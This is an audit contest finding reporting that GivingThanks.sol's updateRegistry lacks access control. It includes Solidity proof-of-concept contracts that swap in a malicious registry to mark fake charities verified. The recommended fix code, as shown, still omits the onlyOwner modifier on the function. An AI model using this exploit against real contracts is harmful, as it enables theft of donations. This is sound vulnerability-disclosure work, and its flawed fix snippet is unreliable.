GivingThanks
First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Access Control Missing on updateRegistry

safiullahmubashir08

Summary

This functions lacks access control checks resulting in malicous contract update

https://github.com/Cyfrin/2024-11-giving-thanks/blob/304812abfc16df934249ecd4cd8dea38568a625d/src/GivingThanks.sol#L56

function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}

Vulnerability Details

Impact

Anyone could update the CharityRegistry by simply calling the updateRegistry function with a Malicoius contract. This could allow the attacker to not only add whatever charity the want to the regesitry, it could also allow them to circumvent the verified check by simply passing that as true.

Conisder the following attack contract, this contract can be updated and the isVerified function can just return true, allowing all the requests to come through. The verifyCharity function can also be used to add addresses now that are fake charities.

If you build a frontend that reads charity data from onchain, it will then display these fake charities resulting in money being stolen from the legit ones.

contract AttackRegistry {
address public admin;
mapping(address => bool) public verifiedCharities;
mapping(address => bool) public registeredCharities;
​
constructor() {
admin = msg.sender;
}
​
function registerCharity(address charity) public {
registeredCharities[charity] = true;
}
​
function verifyCharity(address charity) public {
require(msg.sender == admin, "Only admin can verify");
require(registeredCharities[charity], "Charity not registered");
verifiedCharities[charity] = true;
}
​
function isVerified(address charity) public pure returns (bool) {
return true;
}
​
function changeAdmin(address newAdmin) public {
require(msg.sender == admin, "Only admin can change admin");
admin = newAdmin;
}
​
}

Attack PoC

For this we first deploy the above contract and then deploy the contract below, after which we can call the attack function and verify a fake chairty.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "contracts/GivingThanks.sol";
import "contracts/AttackCharity.sol";
​
contract StealFromCharity {
GivingThanks private thanks;
AttackRegistry private attacker;
constructor(address _thanks) {
thanks = GivingThanks(_thanks);
}
function attack(address _attackRegistry,address fakeChairty) public payable{
thanks.updateRegistry(_attackRegistry);
attacker = AttackRegistry(_attackRegistry);
attacker.registerCharity(fakeChairty);
attacker.verifyCharity(fakeChairty);
}
}
​

Tools Used

Mannaul review

Recommendations

Add Ownable and OnlyOwner modifer as follows

​
​
contract GivingThanks is ERC721URIStorage, Ownable {
CharityRegistry public registry;
uint256 public tokenCounter;
​
constructor(address _registry) ERC721("DonationReceipt", "DRC") Ownable(msg.sender){
registry = CharityRegistry(_registry);
tokenCounter = 0;
}
function updateRegistry(address _registry) public {
registry = CharityRegistry(_registry);
}

Alternatively a proxy contract could also be useful if you would like to update the contracts in that case the recommendation would be to combine the registery and the thanks contract into one contract and have the proxy contract point to that implmentation

Updates

Lead Judging Commences

n0kto Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-anyone-can-change-registry

Likelyhood: High, anyone can change it at anytime Impact: High, can bypass the verification process

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!